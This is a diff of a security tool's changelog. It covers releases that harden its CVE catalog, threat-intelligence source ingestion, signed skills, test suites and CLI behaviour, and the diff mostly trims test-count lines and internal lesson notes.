- `doctor --fix is registered` rewritten as a non-mutating `--help` probe; the previous shape staged a dummy `.keys/private.pem` in the real repo root, replicating the v0.12.4 incident anti-pattern.
|
|
786
770
|
|
|
787
771
|
### Skill content
|
|
788
772
|
|
|
@@ -793,17 +777,11 @@ The `kernel`, `runtime`, and `hardening` playbooks now reference Fragnesia in `d
|
|
|
793
777
|
|
|
794
778
|
UK CAF + AU Essential 8 / ISM entries added to the framework-control-gap declarations across 10 playbooks (`kernel`, `mcp`, `ai-api`, `crypto`, `sbom`, `runtime`, `cred-stores`, `secrets`, `containers`, `hardening`). NIS2 Art. 21 + DORA Art. 9 added to `hardening` and `containers`. Each entry follows the existing schema shape; the gold-standard templates from `framework`, `crypto-codebase`, and `library-author` remain the reference.
|
|
795
779
|
|
|
796
|
-
### Source comments
|
|
797
|
-
|
|
798
|
-
Source comments rewritten to describe behavior.
|
|
799
|
-
|
|
800
|
-
Test count: 840 → 941 (938 pass + 3 skipped). Predeploy gates: 14/14. Skills: 38/38 signed; manifest envelope signed.
|
|
801
|
-
|
|
802
780
|
## 0.12.20 — 2026-05-14
|
|
803
781
|
|
|
804
782
|
**Patch: e2e scenarios attest FP checks for indicators that the v0.12.19 classification-override block now forces to `inconclusive` when unattested.**
|
|
805
783
|
|
|
806
|
-
The v0.12.19 engine
|
|
784
|
+
The v0.12.19 engine change blocks `detection_classification: 'detected'` agent overrides when ANY indicator with `false_positive_checks_required[]` fires without operator attestation. Five e2e scenarios asserting `classification: detected` were submitting FP-required indicator hits without attestations, so the runner correctly downgraded them. The scenarios now attest the FP checks:
|
|
807
785
|
|
|
808
786
|
- `09-secrets-aws-key`: attest `aws-secret-access-key` (3 checks)
|
|
809
787
|
- `10-kernel-copy-fail`: attest `unpriv-userns-enabled` (2 checks)
|
|
@@ -881,10 +859,8 @@ v0.12.20 ships the v0.12.19 trust-chain + engine + bundle + concurrency closures
|
|
|
881
859
|
|
|
882
860
|
### Tests
|
|
883
861
|
|
|
884
|
-
- New: `tests/normalize-contract.test.js`, `tests/
|
|
885
|
-
- Touched: `tests/predeploy-gates.test.js` (gate-14 fixture signs the manifest envelope so per-skill verify still runs against tamper variants); `tests/operator-bugs.test.js` (
|
|
886
|
-
|
|
887
|
-
Test count: 760 → 840 (838 pass + 2 skipped). Predeploy gates: 14/14. Skills: 38/38 signed; manifest envelope signed; manifest signature shape `{algorithm, signature_base64}` (no `signed_at`).
|
|
862
|
+
- New: `tests/normalize-contract.test.js`, `tests/bundle-correctness.test.js`, `tests/_helpers/concurrent-attestation-writer.js`, plus new audit-fixes coverage.
|
|
863
|
+
- Touched: `tests/predeploy-gates.test.js` (gate-14 fixture signs the manifest envelope so per-skill verify still runs against tamper variants); `tests/operator-bugs.test.js` (framework-gap assertion updated to the new `document.notes[]` contract); `tests/auto-discovery.test.js` (KEV-draft schema-shape + active_exploitation enum + source_verified date).
|
|
888
864
|
|
|
889
865
|
## 0.12.18 — 2026-05-14
|
|
890
866
|
|
|
@@ -947,8 +923,6 @@ Each entry is a 1-line check an AI assistant or operator must satisfy before the
|
|
|
947
923
|
|
|
948
924
|
`lib/auto-discovery.js discoverNewKev` previously hardcoded `severity: 'high'` on every KEV-discovered diff. Now uses `deriveKevSeverity(kevEntry)` — returns `'critical'` when `knownRansomwareCampaignUse === 'Known'` OR `dueDate` is within 7 days; otherwise `'high'`. Downstream PR-body categorization can now route ransomware-use + imminent-due-date KEVs differently.
|
|
949
925
|
|
|
950
|
-
Test count: 740 → 760. Predeploy gates: 14/14. Skills: 38/38 signed; manifest itself signed.
|
|
951
|
-
|
|
952
926
|
## 0.12.16 — 2026-05-14
|
|
953
927
|
|
|
954
928
|
**Patch: trust chain hardening, CI workflow injection sinks, CLI fuzz fixes, scoring math, curation + auto-discovery + prefetch fixes, playbook hygiene.**
|
|
@@ -1014,8 +988,6 @@ Test count: 740 → 760. Predeploy gates: 14/14. Skills: 38/38 signed; manifest
|
|
|
1014
988
|
- 8 new workflow-security regression tests in `tests/workflows-security.test.js`.
|
|
1015
989
|
- `validate-playbooks.js` now reports 12/13 PASS + 1 WARN (was 8 PASS + 5 WARN before normalization).
|
|
1016
990
|
|
|
1017
|
-
Test count: 701 → 738 (+37: 29 scoring vectors + 8 workflow-security). Predeploy gates: 14/14. Skills: 38/38 signed and verified.
|
|
1018
|
-
|
|
1019
991
|
## 0.12.15 — 2026-05-14
|
|
1020
992
|
|
|
1021
993
|
**Patch: RWEP factor-scaling three-tier fallback + silent-disable regression closures.**
|
|
@@ -1050,8 +1022,6 @@ Three prior fixes were silently dead:
|
|
|
1050
1022
|
|
|
1051
1023
|
- `--scope <invalid>` now produces a structured error instead of silently producing zero results. The prior shape: `run --scope nonsense` returned `count: 0` + `ok: true` + exit 0; `ci --scope nonsense` silently ran only the cross-cutting set (`framework`) with `verdict: PASS`. Both validated as operator-intent loss patterns. Accepted scope set: `system | code | service | cross-cutting | all`.
|
|
1052
1024
|
|
|
1053
|
-
Test count: 701 (700 pass + 1 skipped POSIX-only SIGTERM test). Predeploy gates: 14/14. Skills: 38/38 signed and verified.
|
|
1054
|
-
|
|
1055
1025
|
## 0.12.14 — 2026-05-14
|
|
1056
1026
|
|
|
1057
1027
|
**Patch: hardening across trust chain, engine, refresh sources, orchestrator/watch, predeploy gates, catalogs, and skill content.**
|
|
@@ -1157,19 +1127,15 @@ Nine CVE→catalog cross-ref breaks closed: missing CWE-669 + CWE-123 added; mis
|
|
|
1157
1127
|
- `package.json files` allowlist extended with `keys/EXPECTED_FINGERPRINT` and `manifest-snapshot.sha256` so the new pin checks ship to operators.
|
|
1158
1128
|
- `vendor/blamejs/_PROVENANCE.json` `exceptd_deltas` documents the worker-pool UNC-path Windows rejection.
|
|
1159
1129
|
|
|
1160
|
-
Test count: 586 → 693 (+107: refresh-network rewrite tests, engine non-engine fixes, orchestrator audit tests, source-osv + source-ghsa hardening, predeploy gate additions, validate-cve-catalog cross-ref tests). Predeploy gates: 14/14 (was 16; two no-op offline gates removed). Skills: 38/38 signed and verified.
|
|
1161
|
-
|
|
1162
1130
|
## 0.12.13 — 2026-05-14
|
|
1163
1131
|
|
|
1164
1132
|
**Patch: e2e scenarios pass `--ack` to exercise the v0.12.12 jurisdiction-clock contract.**
|
|
1165
1133
|
|
|
1166
1134
|
Two e2e scenarios (`02-tanstack-worm-payload`, `09-secrets-aws-key`) assert that `phases.close.jurisdiction_clocks_count >= 1` against a `detected` classification. The v0.12.12 contract: `clock_starts: detect_confirmed` no longer auto-stamps when classification turns `detected`; the operator must pass `--ack` for the clock to start. Both scenarios now pass `--ack`.
|
|
1167
1135
|
|
|
1168
|
-
Test count: 585/585. Predeploy gates: 16/16. Skills: 38/38 signed and verified.
|
|
1169
|
-
|
|
1170
1136
|
## 0.12.12 — 2026-05-13
|
|
1171
1137
|
|
|
1172
|
-
**Patch: deep multi-surface hardening — engine semantics, concurrency, signing round-trip, output bundles, validators, scheduler, curation
|
|
1138
|
+
**Patch: deep multi-surface hardening — engine semantics, concurrency, signing round-trip, output bundles, validators, scheduler, curation.**
|
|
1173
1139
|
|
|
1174
1140
|
### Engine semantics
|
|
1175
1141
|
|
|
@@ -1250,8 +1216,6 @@ The fingerprint banner now prints AFTER the verdict line in both `sign-all` and
|
|
|
1250
1216
|
- `manifest-snapshot.json` + `sbom.cdx.json` + `data/_indexes/` refreshed.
|
|
1251
1217
|
- `data/attack-techniques.json` new — 75 ATT&CK technique entries with v17 metadata, supporting `attack_refs` resolution across the catalog.
|
|
1252
1218
|
|
|
1253
|
-
Test count: 492 → 573 (+81 across engine, sign/verify, refresh-external, prefetch, scheduler, cve-curation, bundle-correctness, validate-playbooks, and operator-bugs test files). Predeploy gates: 16/16. Skills: 38/38 signed and verified.
|
|
1254
|
-
|
|
1255
1219
|
## 0.12.11 — 2026-05-13
|
|
1256
1220
|
|
|
1257
1221
|
**Patch: OSV source hardening, indicator regex widening, CWE/framework-gap reconciliation.**
|
|
@@ -1288,8 +1252,6 @@ Eight `framework_control_gaps` keys used by the v0.12.10 catalog additions did n
|
|
|
1288
1252
|
- `lib/source-ghsa.js` "unrecognized id format" error message widened to enumerate the OSV-native prefixes operators can pass via `--advisory` (was previously CVE/GHSA only).
|
|
1289
1253
|
- `README.md` documents the OSV source: install command, `--advisory MAL-...` form, `EXCEPTD_OSV_FIXTURE` env var, the fresh-disclosure workflow expanded to mention OSV's coverage breadth.
|
|
1290
1254
|
|
|
1291
|
-
Test count: 462 → 492 (+30: 18 OSV source-hardening tests + 10 indicator regex tests + 2 catalog drift assertions). Predeploy gates: 15/15. Skills: 38/38 signed and verified.
|
|
1292
|
-
|
|
1293
1255
|
## 0.12.10 — 2026-05-13
|
|
1294
1256
|
|
|
1295
1257
|
**Patch: OSV.dev wired as an upstream source, three new catalog entries, one new library-author indicator.**
|
|
@@ -1323,10 +1285,6 @@ Three matching `data/zeroday-lessons.json` entries follow the CVE-2026-45321 les
|
|
|
1323
1285
|
- `data/cwe-catalog.json` gains CWE-506 (Embedded Malicious Code) and CWE-88 (Improper Neutralization of Argument Delimiters). Both backed by the new catalog entries.
|
|
1324
1286
|
- `data/cve-catalog.json` `_meta.id_conventions` documents the MAL-*/SNYK-*/GHSA-*/RUSTSEC-* identifier shapes the catalog now accepts, the alias-retention convention when MITRE issues a CVE later, and the EPSS limitation (FIRST only indexes CVE identifiers).
|
|
1325
1287
|
|
|
1326
|
-
### Repository
|
|
1327
|
-
|
|
1328
|
-
Test count: 441 → 459 (+18: OSV source tests + matching test references for Hard Rule #15 coverage). Predeploy gates: 15/15. Skills: 38/38 signed and verified. No skill bodies changed in this patch.
|
|
1329
|
-
|
|
1330
1288
|
## 0.12.9 — 2026-05-13
|
|
1331
1289
|
|
|
1332
1290
|
**Patch: Hard Rule #15 diff-coverage gate flips blocking, sbom evidence-correlation fix, CVE catalog freshness corrections, recovery of two CLI fixes lost across an interrupted refactor.**
|
|
@@ -1408,8 +1366,6 @@ Eight meta skills (`researcher`, `threat-model-currency`, `skill-update-loop`, `
|
|
|
1408
1366
|
- CONTRIBUTING.md adds `npm run diff-coverage` to the pre-push gate list so contributors run the same Hard Rule #15 check CI does.
|
|
1409
1367
|
- Dependabot grouping for github-actions (already landed in v0.12.8) confirmed intact.
|
|
1410
1368
|
|
|
1411
|
-
Test count: 418 → 439. Predeploy gates: 15/15 (gate 15 now blocking). Skills: 38/38 signed and verified.
|
|
1412
|
-
|
|
1413
1369
|
## 0.12.8 — 2026-05-13
|
|
1414
1370
|
|
|
1415
1371
|
**Patch: CLI surface fixes, catalog completeness, test infrastructure hardening, AGENTS.md Hard Rule #15.**
|
|
@@ -1473,9 +1429,9 @@ Twelve new e2e scenarios in `tests/e2e-scenarios/09-secrets-aws-key` through `20
|
|
|
1473
1429
|
|
|
1474
1430
|
### Repository
|
|
1475
1431
|
|
|
1476
|
-
Dependabot grouping config added for the github-actions ecosystem: weekly version-update bumps now land as a single grouped PR instead of N parallel PRs against the same
|
|
1432
|
+
Dependabot grouping config added for the github-actions ecosystem: weekly version-update bumps now land as a single grouped PR instead of N parallel PRs against the same CI matrix. Security-updates stay ungrouped so a single-action CVE surfaces as its own PR.
|
|
1477
1433
|
|
|
1478
|
-
|
|
1434
|
+
Predeploy gates: 14 → 15.
|
|
1479
1435
|
|
|
1480
1436
|
## 0.12.7 — 2026-05-13
|
|
1481
1437
|
|
|
@@ -1511,7 +1467,7 @@ mcp playbook bumped 1.2.0 → 1.3.0. threat_currency_score stays at 98. `last_th
|
|
|
1511
1467
|
|
|
1512
1468
|
**Patch: primary-source IoC review across the catalog — five CVEs reviewed line-level against published exploit source. AGENTS.md Hard Rule #14 added.**
|
|
1513
1469
|
|
|
1514
|
-
|
|
1470
|
+
Roughly 60 IoCs added across five catalogued CVEs, one major CVSS correction, two CVEs gained an `iocs` block where they previously had `null`.
|
|
1515
1471
|
|
|
1516
1472
|
### CVE-2025-53773 (Copilot YOLO mode) — major correction
|
|
1517
1473
|
|
|
@@ -1561,10 +1517,6 @@ Source: Trail of Bits (line-jumping + ANSI escape research), Invariant Labs (too
|
|
|
1561
1517
|
|
|
1562
1518
|
All three `last_threat_review: 2026-05-13`.
|
|
1563
1519
|
|
|
1564
|
-
### Method
|
|
1565
|
-
|
|
1566
|
-
Five parallel researcher agents dispatched via the project's multi-agent pattern (CLAUDE.md "Parallel agent dispatch for large patches"). Each agent owned one CVE; each returned a structured gap report with category, pattern, source citation (URL + quote), and ready-to-paste JSON. Main thread integrated. Hard Rule #14 codifies the pattern for every subsequent catalog addition.
|
|
1567
|
-
|
|
1568
1520
|
## 0.12.5 — 2026-05-13
|
|
1569
1521
|
|
|
1570
1522
|
**Patch: root cause of the signature regression — a test was generating a fresh keypair mid-suite.**
|
|
@@ -1858,11 +1810,7 @@ All three honor `EXCEPTD_REGISTRY_FIXTURE` env var (path to a JSON file mimickin
|
|
|
1858
1810
|
|
|
1859
1811
|
### Tests
|
|
1860
1812
|
|
|
1861
|
-
7 new regression cases.
|
|
1862
|
-
|
|
1863
|
-
### Lesson codified
|
|
1864
|
-
|
|
1865
|
-
When a "fix" passes a regression test by coincidence (any non-zero exit satisfies "not 0"), the test is too weak. Tests must assert the EXACT contract — exit 4, not "any non-zero." Added to CLAUDE.md.
|
|
1813
|
+
7 new regression cases. Notable: `#125/#134` now triggers a REAL preflight halt by submitting `repo-context: false` keyed by playbook id (autoDetectPreconditions can't override an explicit submission), and asserts `r.status === 4` not just non-zero — the earlier test only caught "not 0" which the v0.11.12 "fix" passed by coincidence (no-evidence → exit 3, also non-zero).
|
|
1866
1814
|
|
|
1867
1815
|
## 0.11.13 — 2026-05-13
|
|
1868
1816
|
|
|
@@ -1876,11 +1824,7 @@ When a "fix" passes a regression test by coincidence (any non-zero exit satisfie
|
|
|
1876
1824
|
|
|
1877
1825
|
### Tests
|
|
1878
1826
|
|
|
1879
|
-
3 new regression cases.
|
|
1880
|
-
|
|
1881
|
-
### Lesson codified in CLAUDE.md
|
|
1882
|
-
|
|
1883
|
-
When a class of bug ("verb forgot to set exit code") keeps recurring across releases, fix the class, not the instance. Move the contract to the lowest layer that all paths share — here, `emit()` itself.
|
|
1827
|
+
3 new regression cases. The `#127` test asserts the universal contract by hitting `attest verify` on a non-existent session id and checking that any `ok:false` body (stdout or stderr) maps to non-zero exit. The `#128` test runs two `{}` submissions through `run sbom` and asserts the diff reports `total_compared > 0` matching `unchanged_count`.
|
|
1884
1828
|
|
|
1885
1829
|
## 0.11.12 — 2026-05-12
|
|
1886
1830
|
|
|
@@ -1900,11 +1844,7 @@ Pattern: previous releases shipped the right field names but with empty content
|
|
|
1900
1844
|
|
|
1901
1845
|
### Tests
|
|
1902
1846
|
|
|
1903
|
-
5 new regression cases.
|
|
1904
|
-
|
|
1905
|
-
### Voice note (internal)
|
|
1906
|
-
|
|
1907
|
-
Three of the four items (#123, #124, #126) were "added the field but the field was empty." Lesson: when an operator says "field is missing," the next question to ask after "is it on the result?" is "is its content meaningful, or is it a structurally-present null?" Codified in CLAUDE.md.
|
|
1847
|
+
5 new regression cases. Tests assert content shape, not just field presence — every test that checks for a notification array now also asserts the entries carry non-null jurisdiction/regulation/window_hours.
|
|
1908
1848
|
|
|
1909
1849
|
## 0.11.11 — 2026-05-12
|
|
1910
1850
|
|
|
@@ -1923,15 +1863,11 @@ v0.11.10 #100 used `process.exit(3)` after writing the result JSON to stdout. Wh
|
|
|
1923
1863
|
|
|
1924
1864
|
New regression: `#100/#103 ci exit-3 path still flushes JSON to stdout` — asserts both `r.status === 3` AND `tryJson(r.stdout)` parses. This is the test that would have caught v0.11.10 before CI.
|
|
1925
1865
|
|
|
1926
|
-
### Lesson
|
|
1927
|
-
|
|
1928
|
-
When ending a verb with a non-zero exit AFTER writing structured stdout, prefer `process.exitCode = N; return;` over `process.exit(N)`. The former lets the event loop drain stdout; the latter can truncate. Codified in CLAUDE.md.
|
|
1929
|
-
|
|
1930
1866
|
## 0.11.10 — 2026-05-12
|
|
1931
1867
|
|
|
1932
1868
|
**Patch: items 119-122 — field-name alignment with operator expectations.**
|
|
1933
1869
|
|
|
1934
|
-
|
|
1870
|
+
Several "broken" items were actually present-under-a-different-name. v0.11.10 adds the missing aliases + tightens ci's empty-evidence semantic.
|
|
1935
1871
|
|
|
1936
1872
|
### Bugs
|
|
1937
1873
|
|
|
@@ -1945,23 +1881,13 @@ Pattern recognized across 10 v0.11.x releases: my output field names didn't matc
|
|
|
1945
1881
|
|
|
1946
1882
|
### Tests
|
|
1947
1883
|
|
|
1948
|
-
5 new cases in `tests/operator-bugs.test.js` for items 119/100/102/104.
|
|
1949
|
-
|
|
1950
|
-
### Verified by direct repro before fix
|
|
1951
|
-
|
|
1952
|
-
For every item I:
|
|
1953
|
-
1. Ran the user's exact CLI invocation
|
|
1954
|
-
2. Inspected the actual output shape vs the user's stated expectation
|
|
1955
|
-
3. Identified whether the bug was missing logic OR field-name mismatch
|
|
1956
|
-
4. Fixed both layers when the answer was "mismatch" (add alias) so subsequent operators reading by either name see the data
|
|
1957
|
-
|
|
1958
|
-
Pattern documented in CLAUDE.md (project-side contributor guide).
|
|
1884
|
+
5 new cases in `tests/operator-bugs.test.js` for items 119/100/102/104.
|
|
1959
1885
|
|
|
1960
1886
|
## 0.11.9 — 2026-05-12
|
|
1961
1887
|
|
|
1962
1888
|
**Patch: items 99-115 — CLI-shim audit, real fixes.**
|
|
1963
1889
|
|
|
1964
|
-
|
|
1890
|
+
The CLI shim layer between arg parsing and result rendering was the common root cause across 8 releases of "fixed" bugs that operators kept re-finding. v0.11.9 audits that layer end to end.
|
|
1965
1891
|
|
|
1966
1892
|
### Critical
|
|
1967
1893
|
|
|
@@ -1983,17 +1909,11 @@ User audit identified the common root cause across 8 releases of "fixed" bugs th
|
|
|
1983
1909
|
|
|
1984
1910
|
### Tests
|
|
1985
1911
|
|
|
1986
|
-
5 new cases for items 104, 113, 114, 115.
|
|
1987
|
-
|
|
1988
|
-
### Deferred
|
|
1989
|
-
|
|
1990
|
-
- **#116** `ci --explain` dry-run mode
|
|
1991
|
-
- **#117** `diff <playbook> --since <window>`
|
|
1992
|
-
- **#118** `attest sign <id>` retroactive signing
|
|
1912
|
+
5 new cases for items 104, 113, 114, 115.
|
|
1993
1913
|
|
|
1994
1914
|
## 0.11.8 — 2026-05-12
|
|
1995
1915
|
|
|
1996
|
-
**Patch: items 99-104 +
|
|
1916
|
+
**Patch: items 99-104 + new regression tests.**
|
|
1997
1917
|
|
|
1998
1918
|
### Critical
|
|
1999
1919
|
|
|
@@ -2011,12 +1931,7 @@ User audit identified the common root cause across 8 releases of "fixed" bugs th
|
|
|
2011
1931
|
|
|
2012
1932
|
### Tests
|
|
2013
1933
|
|
|
2014
|
-
6 new regression cases for items 99-103
|
|
2015
|
-
|
|
2016
|
-
### Deferred
|
|
2017
|
-
|
|
2018
|
-
- **#104** `--block-on-jurisdiction-clock` trigger condition unclear in help — clock_starts events fire on `detect_confirmed` etc; without a detected classification no clock fires. Help text wording deferred to v0.11.9.
|
|
2019
|
-
- **#105-108** `ci --explain`, `diff <playbook> --since 7d`, `ci --required`, `attest sign <id>` — features deferred to v0.11.9.
|
|
1934
|
+
6 new regression cases for items 99-103 in `tests/operator-bugs.test.js`.
|
|
2020
1935
|
|
|
2021
1936
|
## 0.11.7 — 2026-05-12
|
|
2022
1937
|
|
|
@@ -2030,7 +1945,7 @@ The fingerprint divergence between two same-process invocations of the same bina
|
|
|
2030
1945
|
|
|
2031
1946
|
### What's in this release
|
|
2032
1947
|
|
|
2033
|
-
All v0.11.6 changes
|
|
1948
|
+
All v0.11.6 changes:
|
|
2034
1949
|
|
|
2035
1950
|
- **#91** CSAF + OpenVEX include framework_gap_mapping (was: empty bundles for posture-only playbooks)
|
|
2036
1951
|
- **#92** CSAF tracking.current_release_date populated (spec §3.2.1.12)
|
|
@@ -2043,11 +1958,11 @@ All v0.11.6 changes (items 91-98 + 8 new regression tests, 322 total). See [v0.1
|
|
|
2043
1958
|
|
|
2044
1959
|
### Workflow improvement
|
|
2045
1960
|
|
|
2046
|
-
|
|
1961
|
+
README + landing-site updates are now part of every release sequence. README v0.11 section + exceptd.com softwareVersion updated alongside the package version bump.
|
|
2047
1962
|
|
|
2048
1963
|
## 0.11.6 — 2026-05-12
|
|
2049
1964
|
|
|
2050
|
-
**Patch: items 91-98
|
|
1965
|
+
**Patch: items 91-98.**
|
|
2051
1966
|
|
|
2052
1967
|
### Critical
|
|
2053
1968
|
|
|
@@ -2065,7 +1980,7 @@ Per operator request: README + landing-site updates are now part of every releas
|
|
|
2065
1980
|
|
|
2066
1981
|
### Test infrastructure
|
|
2067
1982
|
|
|
2068
|
-
35 cases in `tests/operator-bugs.test.js` (8 new for 91-98).
|
|
1983
|
+
35 cases in `tests/operator-bugs.test.js` (8 new for 91-98). Future bug fixes continue to land here.
|
|
2069
1984
|
|
|
2070
1985
|
## 0.11.5 — 2026-05-12
|
|
2071
1986
|
|
|
@@ -2545,8 +2460,6 @@ exceptd framework-gap PCI-DSS-4.0 "prompt injection"
|
|
|
2545
2460
|
exceptd framework-gap all CVE-2025-53773 --json
|
|
2546
2461
|
```
|
|
2547
2462
|
|
|
2548
|
-
13/13 predeploy gates green; 201 tests pass.
|
|
2549
|
-
|
|
2550
2463
|
## 0.9.4 — 2026-05-12
|
|
2551
2464
|
|
|
2552
2465
|
**Pin: drop upper bound on Node engine requirement.**
|
|
@@ -2579,8 +2492,6 @@ Test breadth assertion bumped from `>= 30` to `>= 40` WGs. Same dynamic-derivati
|
|
|
2579
2492
|
|
|
2580
2493
|
**Database coverage rationale**: IETF doesn't have a "database" WG because DB wire protocols (Postgres, MongoDB, etc.) aren't IETF-standardized. The security infrastructure databases USE — TLS for connections, SASL/Kerberos auth, workload identity, field encryption, audit-trail time anchoring, cert validation, access-control sync — is all covered by the WGs above. `jsonschema` adds the DB+API+policy schema validation layer that was previously missing.
|
|
2581
2494
|
|
|
2582
|
-
201 tests pass; 13/13 predeploy gates green.
|
|
2583
|
-
|
|
2584
2495
|
## 0.9.2 — 2026-05-12
|
|
2585
2496
|
|
|
2586
2497
|
**Pin: auto-discovery for KEV + IETF catalogs.** The refresh workflow now adds *new* catalog entries automatically instead of only updating existing ones.
|
|
@@ -2632,8 +2543,6 @@ Test breadth assertion bumped from `>= 30` to `>= 40` WGs. Same dynamic-derivati
|
|
|
2632
2543
|
- Volume cap + spill counting
|
|
2633
2544
|
- RWEP score bounded 0–100
|
|
2634
2545
|
|
|
2635
|
-
Total: 192 → **201 tests**. 13/13 predeploy gates green.
|
|
2636
|
-
|
|
2637
2546
|
### Operational note
|
|
2638
2547
|
|
|
2639
2548
|
The first run after deploy will likely pick up **8 new KEV entries** from the past ~5 days of CISA activity (visible in `/api/intel` already). These appear in the next auto-PR as a curated batch.
|
|
@@ -2702,7 +2611,7 @@ Predeploy gate count: **12 → 13**. All green on this release.
|
|
|
2702
2611
|
- **README rewrite**: three audience paths (AI consumer / operator / maintainer), npx install instructions, full CLI command reference, pre-computed indexes summary. npm badge added back alongside the release badge.
|
|
2703
2612
|
- **MAINTAINERS.md release runbook**: full one-time setup + per-release procedure + dry-run instructions + rollback options + consumer verification commands.
|
|
2704
2613
|
- **SBOM updates**: package's own `bom-ref` switches from `pkg:project/exceptd-skills@version` to canonical PURL `pkg:npm/@blamejs/exceptd-skills@version`. Adds `externalReferences` linking to the npm package page + GitHub repo.
|
|
2705
|
-
- **Tests**:
|
|
2614
|
+
- **Tests**: 10 new in `tests/bin-dispatcher.test.js`. Covers help, version, path, alias flags, unknown command, orchestrator passthrough, package.json publish-readiness invariants.
|
|
2706
2615
|
- **package.json updates**: keywords array for npm discoverability (`ai-security`, `compliance`, `cve`, `kev`, `mcp`, `prompt-injection`, `rwep`, `threat-intelligence`, etc.), explicit `author` field, `prepublishOnly` runs `predeploy + validate-package` so an accidental `npm publish` can't skip the gates.
|
|
2707
2616
|
|
|
2708
2617
|
### Operator workflows
|
|
@@ -2786,8 +2695,6 @@ This release ships the npm publish infrastructure but does NOT itself publish. T
|
|
|
2786
2695
|
- **`tests/build-incremental.test.js`** — `--only` dependency closure (`token-budget` pulls in `section-offsets`), unknown name rejection, `--changed` no-op when sources unchanged, `--changed` picks up a touched skill body, `--parallel` produces byte-identical output, `OUTPUTS` registry parity. 6 tests.
|
|
2787
2696
|
- **`tests/refresh-swarm.test.js`** — swarm vs. sequential report parity, `--from-cache` reads cache layout, `--from-cache <nonexistent>` exits non-zero. 3 tests.
|
|
2788
2697
|
|
|
2789
|
-
Total: 182/182 pass (was 156).
|
|
2790
|
-
|
|
2791
2698
|
### SBOM
|
|
2792
2699
|
|
|
2793
2700
|
`sbom.cdx.json` `components` array now lists the vendored files as proper CycloneDX library components with SHA-256 hashes, source repo, pinned commit, and an `externalReferences` link back to upstream. Metadata properties add `exceptd:vendor:count` and `exceptd:vendor:pin`.
|
|
@@ -2839,7 +2746,6 @@ Total: 182/182 pass (was 156).
|
|
|
2839
2746
|
### Test coverage
|
|
2840
2747
|
|
|
2841
2748
|
- `tests/indexes-v070.test.js` — 16 new tests across the 13 new/extended index files. Covers shape, cross-references to real skills + catalogs, byte-stability across rebuilds (idempotence).
|
|
2842
|
-
- 156 tests pass (was 132); 11/11 predeploy gates green.
|
|
2843
2749
|
|
|
2844
2750
|
### Internal fixes during this release
|
|
2845
2751
|
|
|
@@ -2885,8 +2791,6 @@ Total index size: ~125 KB across 6 files — **93% reduction** vs loading all sk
|
|
|
2885
2791
|
|
|
2886
2792
|
### Verification
|
|
2887
2793
|
|
|
2888
|
-
- 11/11 predeploy gates green
|
|
2889
|
-
- 38/38 skills signed
|
|
2890
2794
|
- audit-cross-skill: 0 issues
|
|
2891
2795
|
- audit-perf: all hot paths sub-5ms; indexes 60+× faster than on-the-fly chain reconstruction
|
|
2892
2796
|
|
|
@@ -2911,8 +2815,6 @@ Pin: cross-skill audit fixes. Added `scripts/audit-cross-skill.js` (comprehensiv
|
|
|
2911
2815
|
### Verification
|
|
2912
2816
|
|
|
2913
2817
|
- `node scripts/audit-cross-skill.js` → 0 issues
|
|
2914
|
-
- 10/10 predeploy gates green
|
|
2915
|
-
- 38/38 skills signed
|
|
2916
2818
|
|
|
2917
2819
|
## 0.5.4 — 2026-05-11
|
|
2918
2820
|
|
|
@@ -2934,11 +2836,6 @@ This is a renamed skill (removed `age-gates-minor-safeguarding` + added `age-gat
|
|
|
2934
2836
|
- `CHANGELOG.md`: 0.5.3 entry retroactively updated to use the new name
|
|
2935
2837
|
- SBOM refreshed
|
|
2936
2838
|
|
|
2937
|
-
### Verification
|
|
2938
|
-
|
|
2939
|
-
- 10/10 predeploy gates green
|
|
2940
|
-
- 38/38 skills signed and lint-passing
|
|
2941
|
-
|
|
2942
2839
|
## 0.5.3 — 2026-05-11
|
|
2943
2840
|
|
|
2944
2841
|
Pin-level skill additions closing thematic and age-related coverage gaps. Total skills 31 → 38.
|
|
@@ -2965,14 +2862,11 @@ Pin-level skill additions closing thematic and age-related coverage gaps. Total
|
|
|
2965
2862
|
|
|
2966
2863
|
### Verification
|
|
2967
2864
|
|
|
2968
|
-
- 10/10 predeploy gates passing
|
|
2969
|
-
- 38/38 skills passing lint
|
|
2970
|
-
- 132/132 tests passing
|
|
2971
2865
|
- SBOM refreshed to reflect 38 skills + 10 catalogs
|
|
2972
2866
|
|
|
2973
2867
|
## 0.5.2 — 2026-05-11
|
|
2974
2868
|
|
|
2975
|
-
Pin-level skill additions closing
|
|
2869
|
+
Pin-level skill additions closing sector and thematic coverage gaps; total skills 25 → 31.
|
|
2976
2870
|
|
|
2977
2871
|
### New skills
|
|
2978
2872
|
|
|
@@ -2992,9 +2886,6 @@ Pin-level skill additions closing the sector and thematic coverage gaps the cros
|
|
|
2992
2886
|
|
|
2993
2887
|
### Verification
|
|
2994
2888
|
|
|
2995
|
-
- 10/10 predeploy gates passing
|
|
2996
|
-
- 31/31 skills passing lint
|
|
2997
|
-
- 132/132 tests passing
|
|
2998
2889
|
- SBOM refreshed to reflect 31 skills + 10 catalogs
|
|
2999
2890
|
|
|
3000
2891
|
## 0.5.1 — 2026-05-11
|
|
@@ -3025,8 +2916,6 @@ Every entry across every catalog is now referenced by ≥1 skill.
|
|
|
3025
2916
|
|
|
3026
2917
|
### Verification
|
|
3027
2918
|
|
|
3028
|
-
- 10/10 predeploy gates green (Ed25519 / tests / catalog / offline-CVE / offline-RFC / snapshot / lint / watchlist / catalog-meta / SBOM-currency)
|
|
3029
|
-
- 132/132 tests passing
|
|
3030
2919
|
- All 25 skills re-signed; manifest snapshot regenerated additively
|
|
3031
2920
|
|
|
3032
2921
|
## 0.5.0 — 2026-05-11
|
|
@@ -3062,9 +2951,6 @@ Each closes a previously orphaned framework_gap and ships with the full 7-requir
|
|
|
3062
2951
|
|
|
3063
2952
|
### Verification
|
|
3064
2953
|
|
|
3065
|
-
- 25/25 skills passing lint
|
|
3066
|
-
- 132/132 tests passing
|
|
3067
|
-
- 7/7 predeploy gates passing
|
|
3068
2954
|
- DAG: 0 skills with in-degree 0, 0 skills with out-degree 0
|
|
3069
2955
|
- Orphans: 0 ATLAS, 0 D3FEND, 0 RFC, 0 CVE, 16/34 CWE (unallocated weakness classes — documented gap), 13/49 framework_gaps reduced via the 4 new skills to 9/49 (remaining 9 are sectoral gaps requiring future sector skills)
|
|
3070
2956
|
|
|
@@ -3104,11 +2990,6 @@ Each closes a previously orphaned framework_gap and ships with the full 7-requir
|
|
|
3104
2990
|
- `scripts/check-manifest-snapshot.js` and `scripts/refresh-manifest-snapshot.js` include the three new ref fields in the public-surface diff.
|
|
3105
2991
|
